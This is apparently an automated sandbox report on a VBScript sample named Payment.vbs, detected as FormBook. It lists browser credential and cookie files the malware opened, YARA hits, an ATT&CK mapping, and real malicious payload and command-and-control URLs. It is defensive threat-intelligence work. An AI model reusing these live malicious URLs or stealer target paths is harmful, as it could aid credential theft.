Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected FormBook

Source: Yara match	File source: 10.2.appidtel.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.appidtel.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000018.00000002.3538540839.00000000049D0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2728680734.0000000004690000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2728578874.0000000003C20000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.2976888806.00000000033F0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2727369839.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.3536826392.00000000038F0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.2976926414.0000000003440000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\SysWOW64\convert.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\convert.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\convert.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\convert.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\convert.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\convert.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\convert.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\convert.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\convert.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Jump to behavior

Remote Access Functionality

Yara detected FormBook

Source: Yara match	File source: 10.2.appidtel.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.appidtel.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000018.00000002.3538540839.00000000049D0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2728680734.0000000004690000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2728578874.0000000003C20000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.2976888806.00000000033F0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2727369839.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.3536826392.00000000038F0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.2976926414.0000000003440000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	221 Scripting	Valid Accounts	1 Exploitation for Client Execution	221 Scripting	1 Abuse Elevation Control Mechanism	11 Deobfuscate/Decode Files or Information	1 OS Credential Dumping	2 File and Directory Discovery	Remote Services	1 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Command and Scripting Interpreter	1 DLL Side-Loading	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	LSASS Memory	123 System Information Discovery	Remote Desktop Protocol	1 Data from Local System	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	3 PowerShell	Logon Script (Windows)	512 Process Injection	4 Obfuscated Files or Information	Security Account Manager	131 Security Software Discovery	SMB/Windows Admin Shares	1 Email Collection	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Software Packing	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	41 Virtualization/Sandbox Evasion	SSH	Keylogging	3 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	41 Virtualization/Sandbox Evasion	DCSync	1 Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	512 Process Injection	Proc Filesystem	1 System Network Configuration Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Payment.vbs	3%	ReversingLabs	Win32.Trojan.Generic

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
https://go.micro	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://aka.ms/pscore6	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
https://oneget.orgX	0%	URL Reputation	safe
https://aka.ms/pscore68	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
https://oneget.org	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
paste.ee	188.114.96.3	true	true	unknown
raw.githubusercontent.com	185.199.111.133	true	false	unknown
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	unknown
www.donante-de-ovulos.biz	199.59.243.227	true	true	unknown
ax-0001.ax-msedge.net	150.171.28.10	true	false	unknown

Contacted URLs

Name	Malicious	Reputation
https://raw.githubusercontent.com/NoDetectOn/NoDetectOn/refs/heads/main/DetahNoth-V.txt	false	unknown
https://paste.ee/d/SKF1O/0	true	unknown
http://www.donante-de-ovulos.biz/6450/?EzrD=UbYh&mzEt0=52WN8KqJ7jnOEIaeyCxqWgP+KtwCoaIDn8AokGilDz2wl3Qo7VTMWMYazPgXvK5QOqLqt5Ti3xVPGgdXo5E4TqsbUcYSzSRqT9OtwmziQ+LYHZobMnJC5bEpbrqa7K8o2xX/TOE=	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	convert.exe, 00000013.00000003.2915997217.0000000007ED8000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000008.00000002.2445760088.000001B5F72E3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2410867830.000001B5E8BBF000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0	powershell.exe, 00000008.00000002.2410867830.000001B5E894F000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/ac/?q=	convert.exe, 00000013.00000003.2915997217.0000000007ED8000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	convert.exe, 00000013.00000003.2915997217.0000000007ED8000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000008.00000002.2410867830.000001B5E8B37000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://go.microsoft.co	powershell.exe, 00000005.00000002.2350094223.000001F61E99F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://paste.ee	powershell.exe, 00000008.00000002.2410867830.000001B5E776D000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000008.00000002.2410867830.000001B5E8B37000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://go.micro	powershell.exe, 00000008.00000002.2410867830.000001B5E8428000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/License	powershell.exe, 00000008.00000002.2410867830.000001B5E8BBF000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com;	powershell.exe, 00000008.00000002.2410867830.000001B5E776D000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://contoso.com/Icon	powershell.exe, 00000008.00000002.2410867830.000001B5E8BBF000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://raw.githubusercont	powershell.exe, 00000008.00000002.2410867830.000001B5E8901000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	convert.exe, 00000013.00000003.2915997217.0000000007ED8000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 0000001B.00000003.2994764845.0000021B43050000.00000004.00000800.00020000.00000000.sdmp, edb.log.27.dr	false		unknown
http://crl.ver)	svchost.exe, 0000001B.00000002.3540546756.0000021B42E00000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://analytics.paste.ee	powershell.exe, 00000008.00000002.2410867830.000001B5E776D000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://paste.ee	powershell.exe, 00000008.00000002.2410867830.000001B5E7681000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://aka.ms/pscore6	powershell.exe, 00000005.00000002.2347449551.000001F60688E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	convert.exe, 00000013.00000003.2915997217.0000000007ED8000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	convert.exe, 00000013.00000003.2915997217.0000000007ED8000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000008.00000002.2410867830.000001B5E8B37000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://ac.ecosia.org/autocomplete?q=	convert.exe, 00000013.00000003.2915997217.0000000007ED8000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com	powershell.exe, 00000008.00000002.2410867830.000001B5E776D000.00000004.00000800.00020000.00000000.sdmp, convert.exe, 00000013.00000002.2977602776.0000000004074000.00000004.10000000.00040000.00000000.sdmp, mNqSPruzCXM.exe, 00000018.00000002.3537079576.0000000002984000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3534781987.000000002F5F4000.00000004.80000000.00040000.00000000.sdmp	false		unknown
http://crl.m	powershell.exe, 00000008.00000002.2479829877.000001B5FF4CC000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://g.live.com/odclientsettings/Prod1C:	edb.log.27.dr	false		unknown
https://raw.githubusercontent.com	powershell.exe, 00000008.00000002.2410867830.000001B5E7492000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2410867830.000001B5E8611000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://raw.githubusercontent.com/NoDetectOn/NoDetectOn/refs/heads/main/DetahNoth-V.txth3k;	powershell.exe, 00000008.00000002.2410867830.000001B5E7492000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	convert.exe, 00000013.00000003.2915997217.0000000007ED8000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/	powershell.exe, 00000008.00000002.2410867830.000001B5E8BBF000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000008.00000002.2445760088.000001B5F72E3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2410867830.000001B5E8BBF000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://raw.githubusercontent.com	powershell.exe, 00000008.00000002.2410867830.000001B5E8906000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://oneget.orgX	powershell.exe, 00000008.00000002.2410867830.000001B5E894F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://analytics.paste.ee;	powershell.exe, 00000008.00000002.2410867830.000001B5E776D000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://cdnjs.cloudflare.com	powershell.exe, 00000008.00000002.2410867830.000001B5E776D000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://aka.ms/pscore68	powershell.exe, 00000005.00000002.2347449551.000001F6068A9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2508706310.000001875DEBA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2508706310.000001875DECE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2410867830.000001B5E7271000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdnjs.cloudflare.com;	powershell.exe, 00000008.00000002.2410867830.000001B5E776D000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000005.00000002.2347449551.000001F606841000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2508706310.000001875DE91000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2410867830.000001B5E7271000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	convert.exe, 00000013.00000003.2915997217.0000000007ED8000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://secure.gravatar.com	powershell.exe, 00000008.00000002.2410867830.000001B5E776D000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://themes.googleusercontent.com	powershell.exe, 00000008.00000002.2410867830.000001B5E776D000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://oneget.org	powershell.exe, 00000008.00000002.2410867830.000001B5E894F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
188.114.96.3	paste.ee	European Union	13335	CLOUDFLARENETUS	true
199.59.243.227	www.donante-de-ovulos.biz	United States	395082	BODIS-NJUS	true
185.199.111.133	raw.githubusercontent.com	Netherlands	54113	FASTLYUS	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1528048
Start date and time:	2024-10-07 14:51:11 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 0s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	29
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Payment.vbs
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winVBS@20/12@3/4
EGA Information:	Successful, ratio: 57.1%
HCA Information:	Successful, ratio: 94% Number of executed functions: 80 Number of non-executed functions: 273
Cookbook Comments:	Found application associated with file extension: .vbs

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, BackgroundTransferHost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe
Excluded IPs from analysis (whitelisted): 184.28.90.27
Excluded domains from analysis (whitelisted): www.bing.com, fs.microsoft.com, slscr.update.microsoft.com, otelrules.azureedge.net, otelrules.afd.azureedge.net, ctldl.windowsupdate.com, tse1.mm.bing.net, g.bing.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, arc.msn.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, e16604.g.akamaiedge.net, azureedge-t-prod.trafficmanager.net, prod.fs.microsoft.com.akadns.net
Execution Graph export aborted for target mNqSPruzCXM.exe, PID 7160 because it is empty
Execution Graph export aborted for target powershell.exe, PID 1584 because it is empty
Execution Graph export aborted for target powershell.exe, PID 2436 because it is empty
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Payment.vbs

Simulations

Behavior and APIs

Time	Type	Description
08:52:27	API Interceptor	43x Sleep call for process: powershell.exe modified
08:53:30	API Interceptor	2x Sleep call for process: svchost.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
188.114.96.3	RFQ 245801.exe	Get hash	malicious	FormBook	Browse	www.j88.travel/c24t/?9rm4ULV=iDjdFcjw5QZJ8NeJJL4ZS/2sliUdDJEhqWnTSCKxgeFtQoD7uajT9bZ2+m2NwmP2xDXw&D4hl2=fT-dvVK08nUDKdF
	74qgPmarBM.exe	Get hash	malicious	Pony	Browse	kuechenundmehr.com/x.htm
	PURCHASE ORDER-6350.exe	Get hash	malicious	FormBook	Browse	www.cc101.pro/ttiz/
	http://revexhibition.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	revexhibition.pages.dev/favicon.ico
	http://meta.case-page-appeal.eu/community-standard/112225492204863/	Get hash	malicious	Unknown	Browse	meta.case-page-appeal.eu/assets/k9854w4e5136q5a-f2169603.png
	http://www.tkmall-wholesale.com/	Get hash	malicious	Unknown	Browse	www.tkmall-wholesale.com/
	c1#U09a6.exe	Get hash	malicious	Unknown	Browse	winfileshare.com/ticket_line/llb.php
	QUOTATION_OCTQTRA071244PDF.scr.exe	Get hash	malicious	Unknown	Browse	filetransfer.io/data-package/eZFzMENr/download
	QUOTATION_OCTQTRA071244PDF.scr.exe	Get hash	malicious	Unknown	Browse	filetransfer.io/data-package/eZFzMENr/download
	1tstvk3Sls.exe	Get hash	malicious	RHADAMANTHYS	Browse	microsoft-rage.world/Api/v3/qjqzqiiqayjq
199.59.243.227	SOA SIL TL382920.exe	Get hash	malicious	FormBook	Browse	www.online-dating28.xyz/6nb6/
	Arrival Notice.exe	Get hash	malicious	FormBook	Browse	www.polarmuseum.info/reui/
	PURCHASE ORDER-6350.exe	Get hash	malicious	FormBook	Browse	www.donante-de-ovulos.biz/8lrv/
	https://pancake-swapp.github.io/	Get hash	malicious	HTMLPhisher	Browse	ww25.blockaircypher.com/_tr
	http://wiki.hostmaster.chinametrogroup.com/	Get hash	malicious	Unknown	Browse	wiki.hostmaster.chinametrogroup.com/_tr
	PO#001498.exe	Get hash	malicious	FormBook	Browse	www.notepad.mobi/l4rw/
	http://music.farstream.org	Get hash	malicious	Unknown	Browse	music.farstream.org/_fd
	payment copy.exe	Get hash	malicious	FormBook	Browse	www.polarmuseum.info/reui/
	ORDER ENQUIRY.exe	Get hash	malicious	FormBook	Browse	www.os9user.com/hy08/?GxlX=7jBziBoNeaZ0YBYCWuyuiMj/CYrZJe3GZSyGqEoVCgHfq7+BCveVTDnkVKPyAZoe4JtD&DVRXbd=tXIxBhEhlzJLR
	https://conbassecomlogii.godaddysites.com/	Get hash	malicious	HTMLPhisher	Browse	cbcoinbasepremiunm.great-site.net/_tr

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
raw.githubusercontent.com	PAYMENT SPECIFIKACIJA 364846637-pdf.vbs	Get hash	malicious	Remcos	Browse	185.199.108.133
	OTO2wVGgkl.exe	Get hash	malicious	Unknown	Browse	185.199.111.133
	k4STQvJ6rV.vbs	Get hash	malicious	XWorm	Browse	185.199.108.133
	Request For Quotation.js	Get hash	malicious	AgentTesla	Browse	185.199.108.133
	PO.78NO9.xls	Get hash	malicious	FormBook	Browse	185.199.108.133
	Company Profile.vbs	Get hash	malicious	Unknown	Browse	185.199.108.133
	ls6sm8RNqn.rtf	Get hash	malicious	Remcos	Browse	185.199.109.133
	na.rtf	Get hash	malicious	Remcos	Browse	185.199.109.133
	na.rtf	Get hash	malicious	Remcos	Browse	185.199.109.133
	na.rtf	Get hash	malicious	Remcos	Browse	185.199.111.133
s-part-0017.t-0009.t-msedge.net	original.eml	Get hash	malicious	Tycoon2FA	Browse	13.107.246.45
	5fe2eenspI.exe	Get hash	malicious	Unknown	Browse	13.107.246.45
	http://46.27.141.62	Get hash	malicious	Unknown	Browse	13.107.246.45
	https://kohlhage-de.powerappsportals.com/	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	13.107.246.45
	SecuriteInfo.com.Win32.PWSX-gen.19312.293.exe	Get hash	malicious	Unknown	Browse	13.107.246.45
	September payments.exe	Get hash	malicious	Unknown	Browse	13.107.246.45
	https://pub-e8583bd7c3574b5b8171769cd95518de.r2.dev/index.html	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	Fact-2024-10.pdf	Get hash	malicious	Unknown	Browse	13.107.246.45
	https://pub-737d748721344356b3ba725600a8404d.r2.dev/index.html	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	http://uppholldbcloginn.gitbook.io/us/	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
paste.ee	PAYMENT SPECIFIKACIJA 364846637-pdf.vbs	Get hash	malicious	Remcos	Browse	188.114.97.3
	k4STQvJ6rV.vbs	Get hash	malicious	XWorm	Browse	188.114.97.3
	Quotation request YN2024-10-07pdf.vbs	Get hash	malicious	Remcos	Browse	188.114.96.3
	Urgent Purchase Order (P.O.) No.477764107102024.vbs	Get hash	malicious	Remcos	Browse	188.114.96.3
	SWIFT 103 202406111301435660 110624-pdf.vbs	Get hash	malicious	Remcos	Browse	188.114.97.3
	FAKTURA-pdf-466366332.vbs	Get hash	malicious	Unknown	Browse	188.114.96.3
	PDFDQ_P01_303B9367_2024-10-03_185650.vbs	Get hash	malicious	Remcos	Browse	188.114.96.3
	SKMBT_77122012816310TD0128_17311_XLS.vbs	Get hash	malicious	Remcos	Browse	188.114.97.3
	Purchase Order - PO14895.vbs	Get hash	malicious	Remcos	Browse	188.114.96.3
	sostener.vbs	Get hash	malicious	Njrat	Browse	188.114.97.3

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
FASTLYUS	PAYMENT SPECIFIKACIJA 364846637-pdf.vbs	Get hash	malicious	Remcos	Browse	185.199.108.133
	original.eml	Get hash	malicious	Tycoon2FA	Browse	151.101.194.137
	https://globalairt.com/arull.php?7088797967704b536932307466507a53354b54456b744b3872584b3037555338375031633872445172564277413d1	Get hash	malicious	Unknown	Browse	151.101.66.137
	http://twbcompany.com	Get hash	malicious	Unknown	Browse	151.101.2.137
	http://www.twbcompany.com	Get hash	malicious	Unknown	Browse	151.101.2.137
	cfev.-Information refb08b4d10f3ce74a317adeabab8ac66ad.htm	Get hash	malicious	Unknown	Browse	151.101.66.137
	SecuriteInfo.com.Win64.MalwareX-gen.19388.23445.exe	Get hash	malicious	Unknown	Browse	185.199.108.133
	https://sneamcomnnumnlty.com/h474823487284/geting/active	Get hash	malicious	Unknown	Browse	151.101.2.137
	https://pub-7571f8ffd5b243f892961d4b09c69e36.r2.dev/index.html	Get hash	malicious	HTMLPhisher	Browse	185.199.108.153
	https://pub-e8583bd7c3574b5b8171769cd95518de.r2.dev/index.html	Get hash	malicious	HTMLPhisher	Browse	185.199.108.153
CLOUDFLARENETUS	PAYMENT SPECIFIKACIJA 364846637-pdf.vbs	Get hash	malicious	Remcos	Browse	188.114.97.3
	RFQ 245801.exe	Get hash	malicious	FormBook	Browse	188.114.96.3
	original.eml	Get hash	malicious	Tycoon2FA	Browse	188.114.96.3
	https://globalairt.com/arull.php?7088797967704b536932307466507a53354b54456b744b3872584b3037555338375031633872445172564277413d1	Get hash	malicious	Unknown	Browse	104.17.25.14
	74qgPmarBM.exe	Get hash	malicious	Pony	Browse	188.114.96.3
	http://twbcompany.com	Get hash	malicious	Unknown	Browse	104.21.7.183
	https://danielvasconcellos.com.br/cliente2024	Get hash	malicious	Phisher	Browse	188.114.97.3
	SecuriteInfo.com.Win64.Evo-gen.20301.32747.exe	Get hash	malicious	Unknown	Browse	104.26.0.5
	https://bono-sicherheitstechniksharefile.btn-ebikes.com/	Get hash	malicious	HtmlDropper	Browse	104.18.95.41
	xwZfYpo16i.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc	Browse	172.67.206.204
BODIS-NJUS	SOA SIL TL382920.exe	Get hash	malicious	FormBook	Browse	199.59.243.227
	Arrival Notice.exe	Get hash	malicious	FormBook	Browse	199.59.243.227
	PURCHASE ORDER-6350.exe	Get hash	malicious	FormBook	Browse	199.59.243.227
	https://pancake-swapp.github.io/	Get hash	malicious	HTMLPhisher	Browse	199.59.243.205
	http://nirothniroth.site/?p=22&fbclid=IwY2xjawFs_DdleHRuA2FlbQIxMQABHTdgZU6ok722L5RxKPR-zh7Gkm6BqZ8BcT950y1bxf6l0LKz0zslg7KJHw_aem__ldVm1UUndXAkwYRakjBzg	Get hash	malicious	Unknown	Browse	199.59.243.227
	http://wiki.hostmaster.chinametrogroup.com/	Get hash	malicious	Unknown	Browse	199.59.243.205
	PO#001498.exe	Get hash	malicious	FormBook	Browse	199.59.243.227
	http://music.farstream.org	Get hash	malicious	Unknown	Browse	199.59.243.227
	payment copy.exe	Get hash	malicious	FormBook	Browse	199.59.243.227
	ORDER ENQUIRY.exe	Get hash	malicious	FormBook	Browse	199.59.243.227

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	PAYMENT SPECIFIKACIJA 364846637-pdf.vbs	Get hash	malicious	Remcos	Browse	185.199.111.133 188.114.96.3
	https://bono-sicherheitstechniksharefile.btn-ebikes.com/	Get hash	malicious	HtmlDropper	Browse	185.199.111.133 188.114.96.3
	Portal.msi	Get hash	malicious	Unknown	Browse	185.199.111.133 188.114.96.3
	http://46.27.141.62	Get hash	malicious	Unknown	Browse	185.199.111.133 188.114.96.3
	rREQUESTFORQUOTE-INQUIRY87278.exe	Get hash	malicious	MassLogger RAT, Snake Keylogger, VIP Keylogger	Browse	185.199.111.133 188.114.96.3
	SecuriteInfo.com.Win64.MalwareX-gen.31726.9623.exe	Get hash	malicious	Unknown	Browse	185.199.111.133 188.114.96.3
	SecuriteInfo.com.Win64.MalwareX-gen.19388.23445.exe	Get hash	malicious	Unknown	Browse	185.199.111.133 188.114.96.3
	SecuriteInfo.com.Win64.MalwareX-gen.19388.23445.exe	Get hash	malicious	Unknown	Browse	185.199.111.133 188.114.96.3
	SecuriteInfo.com.Win64.MalwareX-gen.31726.9623.exe	Get hash	malicious	Unknown	Browse	185.199.111.133 188.114.96.3
